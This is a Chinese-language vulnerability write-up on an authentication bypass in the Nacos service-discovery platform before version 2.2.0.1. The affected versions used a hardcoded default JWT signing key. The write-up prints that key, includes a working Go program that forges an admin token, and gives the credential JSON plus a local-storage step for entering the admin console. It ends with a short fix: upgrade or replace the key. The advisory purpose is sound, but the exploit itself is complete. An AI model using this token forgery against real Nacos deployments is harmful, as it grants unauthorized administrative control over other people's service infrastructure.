一、软件背景
Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service的首字母简称,一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。
Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。
Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。 Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。
二、影响版本
版本 < 2.2.0.1
三、漏洞分析
1.根据commit修复记录可以看到:
Remove the default token.secret.key by KomachiSion · Pull Request #9992 · alibaba/nacos · GitHub
nacos在新版之前使用了默认的JWT加密key:
SecretKey012345678901234567890123456789012345678901234567890123456789
2.根据默认key生成token:
package main
import (
"fmt"
"github.com/golang-jwt/jwt/v4"
)
func main(){
// 创建秘钥
key := []byte("SecretKey012345678901234567890123456789012345678901234567890123456789")
// 创建Token结构体
claims := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
"sub": "nacos",
"exp": "1678861310",
})
// 调用加密方法,发挥Token字符串
signingString, err := claims.SignedString(key)
if err != nil {
return
}
fmt.Println(signingString)
}
生成token:
3.组装凭证:
{"accessToken":"*****","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}
替换accessToken内容,将此凭证字符串添加到local storge,刷新页面即可登录进入nacos后台。
四、修复
升级版本或将默认key值更换。